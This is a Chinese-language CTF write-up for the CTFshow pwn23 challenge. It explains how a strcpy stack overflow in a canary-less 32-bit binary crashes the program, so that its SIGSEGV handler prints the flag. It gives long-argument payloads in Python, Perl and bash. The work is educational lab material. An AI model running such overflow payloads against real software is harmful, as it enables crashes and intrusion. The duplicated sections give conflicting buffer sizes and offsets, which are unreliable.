[ pwn 学习 ] CTFshow-pwn23
2026-08-22 20:36:38
pwn23 SIGSEGV 信号劫持——strcpy 栈溢出触发 Crash to Flag
- 程序启动后,从
/ctfshow_flag文件里把 flag 读到内存里存着 - 程序跟操作系统说:万一我等下崩溃了,你帮我把 flag 打印出来
- 程序把你输入的内容复制到一块内存区域。但是复制的时候不检查大小——你写多长它就复制多长。
- 那块内存区域的旁边,存着程序接下来该往哪执行的关键信息。
- 你写的足够长,就会把那块关键信息也覆盖掉。
- 程序不知道该往哪执行,就崩溃了。
- 操作系统按照之前的约定,把 flag 打印出来
也就是说。你传入一个超长的东西把程序撑爆,他崩溃就按照之前说的把 flag 吐出来了。
pwn23
1. 基础信息
查看二进制文件安全防护

32 位程序,No canary found——栈上没有金丝雀,溢出不会被检测到。
这是本题能做的前提。
2. 核心思路
程序先把 flag 读到内存,然后跟你说”万一我等下崩了,你帮我把 flag 打印出来”——你只需要传个超长字符串把它撑崩,flag 自动出来。
3. 逆向分析
反编译共两个关键函数:main 和 sigsegv_handler、ctfshow。
3.1 main() —— 三步走
1 | unsigned int main(int argc, char *argv[]) |
流程:flag 进内存 → 注册”崩溃回调” → 调用漏洞函数
3.2 sigsegv_handler() —— 崩溃就给你 flag
1 | void sigsegv_handler(void) |
**不需要弹 shell,不需要跳后门。崩了就行。 **
3.3 ctfshow() —— 漏洞函数
1 | char *ctfshow(char *a0) |
| 行 | 漏洞 | 说明 |
|---|---|---|
char v0[62] |
缓冲区只有 62 字节 | 太小了 |
strcpy(v0, a0) |
不检查长度 | 输入多长就复制多长 |
4. 为什么 strcpy 危险
1 | strcpy 的工作方式: |
五、栈帧布局
1 | 偏移 内容 大小 |
| 输入长度 | 覆盖范围 | 结果 |
|---|---|---|
| ≤ 62 字节 | 没溢出 | 正常返回,无事发生 |
| 63~66 字节 | 覆盖到 EBP | 返回地址还在,不一定崩 |
| ≥ 67 字节 | 覆盖返回地址 | 崩 → flag 打印出来! |
六、攻击流程
1 | ./pwn23 $(python -c "print('A'*100)") |
一句话:不需要精确跳转,非法地址 = 必定崩溃 = 稳定触发 flag。
七、实战
1 | ssh ctfshow@题目地址 -p 题目端口 |
九、总结
| 考点 | 说明 |
|---|---|
strcpy危险 |
不检查长度,遇到 \0才停 |
signal信号机制 |
SIGSEGV 被捕获后执行处理函数 |
| Canary | 没开才能溢出到返回地址 |
| 崩溃利用 | 不需要精确跳转,崩了就是胜利 |
核心:flag 已经被读到内存里了,signal 帮你配好了”崩了就打印”的回调。你唯一要做的就是——搞崩它。
4.1 变量定义 1
1 | char dest[58]; // 虽然源码写 58,编译器实际分配 0x42 = 66 字节 |
strcpy 的行为:从 src 第一个字符开始一个字节一个字节往 dest 写,遇到 \0 才停。只要 src 超过 66 字节且中间没有 \0,多出来的数据就会覆盖栈上后面的区域。
4.2 栈帧布局(32 位)
| 内存区域 | 大小 | 偏移 | 说明 |
|---|---|---|---|
dest缓冲区 |
66 字节(0x42) | [bp-0x42]~ [bp-0x1] |
局部变量空间 |
| Saved EBP | 4 字节 | [bp+0x0]~ [bp+0x3] |
备份的栈基址 |
| Return Address | 4 字节 | [bp+0x4] ~ [bp+0x7] |
函数返回后 EIP 跳到哪里 |
4.3 溢出过程
1 | strcpy 从低地址往高地址写: |
只需 71 个字节就能碰到返回地址。 推荐用 100 字节,稳稳当当。
5. 攻击思路 —— 让它崩
1 | 传参 100 个 'A'(0x41) |
一句话:不需要精确跳转,越是非法的地址,越能稳定触发 SIGSEGV。
6. 实战操作
SSH 连接后直接执行:
1 | ./pwn23 $(python -c "print('A'*100)") |
本地测试:
1 | echo "ctfshow{test_flag}" > /ctfshow_flag |
构造 payload 的多种方式
| 方式 | 命令 |
|---|---|
| Python 2 | ./pwn23 $(python -c "print('A'*100)") |
| Python 3 | ./pwn23 $(python3 -c "print('A'*100)") |
| Perl | ./pwn23 $(perl -e 'print "A"x100') |
| 纯 bash | ./pwn23 $(printf 'A%.0s' {1..100}) |
最少需要多少字节
| 输入长度 | 覆盖范围 | 结果 |
|---|---|---|
| ≤ 66 字节 | 只填满缓冲区 | ❌ 正常退出 |
| 67~70 字节 | 覆盖到 EBP | ❌ 返回地址完好 |
| ≥ 71 字节 | 覆盖到返回地址 | ✅** 崩溃 → flag** |
7. 更多可利用的触发方式
| Payload | 效果 |
|---|---|
$(python -c "print('A'*100)") |
覆盖返回地址为 0x41414141,稳定崩 |
$(python -c "print('B'*100)") |
覆盖为 0x42424242,一样崩 |
$(python -c "print('\x00'*100)") |
无效——\x00就是 \0,strcpy 遇它就停,根本不溢出 |
$(python -c "print('A'*71)") |
最小 payload,刚好够到返回地址 |
| 不传参数 | 程序直接 return 0,不崩不输出 |
8. 此类漏洞思路总结
搜索危险函数
在 IDA 的 Import / String 窗口中找这些函数名:
| 函数 | 为什么危险 |
|---|---|
gets() |
读取输入不限制长度,必溢出 |
strcpy() |
复制字符串不检查长度(本题) |
strcat() |
拼接字符串不检查长度 |
read() |
第三个参数大于缓冲区大小就溢出 |
scanf("%s", ...) |
不限制输入长度 |
sprintf() |
格式化到缓冲区不检查长度 |
比较缓冲区大小 vs 实际能写入的大小
找到缓冲区定义,再看 strcpy / read 第三个参数。写入量 > 缓冲区大小 → 溢出。
看溢出后数据被用来做什么 → 确定漏洞类型
| 场景 | 漏洞类型 |
|---|---|
| 覆盖栈上局部变量 | 改变程序逻辑 |
| 覆盖返回地址(非法值)→ 崩溃 → 信号处理 | Crash to Flag(本题) |
| 覆盖返回地址(精确值)→ 跳转到后门 | 栈溢出 → 控制流劫持 |
| 覆盖返回地址 + ROP 链 | 栈溢出 → ROP |
system()参数可控 |
命令注入 |
构造 payload
- 先算偏移:缓冲区大小 + 4(EBP) = 到返回地址的距离
- 本题只需覆盖成任意非法地址,不需要精确值
- 注意坏字符:
\x00(\0)会让strcpy提前截断
信号处理类题目的特征
| 特征 | 本题体现 |
|---|---|
代码里有 signal() |
signal(11, sigsegv_handler) |
| 处理函数里有 flag 操作 | fprintf(stderr, "%s\n", &flag) |
| 存在溢出漏洞 | strcpy无长度限制 |
| 栈保护关闭 | No canary found |
四个特征凑齐 → Crash to Flag,无脑填超长字符串即可。
9. 信号速查表
| 编号 | 信号名 | 触发条件 |
|---|---|---|
| 11 | SIGSEGV | 非法内存访问(本题触发) |
| 4 | SIGILL | 非法指令 |
| 8 | SIGFPE | 算术异常(除零等) |
| 6 | SIGABRT | abort()调用 |
| 13 | SIGPIPE | 向已关闭的管道写数据 |
| 14 | SIGALRM | alarm()超时 |
10. strcpy vs 安全替代
| 函数 | 行为 | 安全? |
|---|---|---|
strcpy(d, s) |
无脑复制,遇 \0停 |
❌ 永远别用 |
strncpy(d, s, n) |
最多复制 n 个字符 | ⚠️ n 设对才安全 |
strlcpy(d, s, n) |
最多 n-1 个,保证 \0收尾 |
✅ |
记住:CTF 里看到 strcpy / gets 且 Canary 没开 → 八成是溢出,先算
相关笔记
栈溢出系列:
- pwn0 —
strcpy溢出原理(前置基础) - pwn24 — NX 禁用 → shellcode 直接执行
- pwn25 ret2libc 栈溢出利用 (NX 绕过) — NX 开启 → ret2libc
信号机制:
- (暂无其他信号处理相关题目)
前置工具:
- pwn1 —
checksec查看 Canary / NX / PIE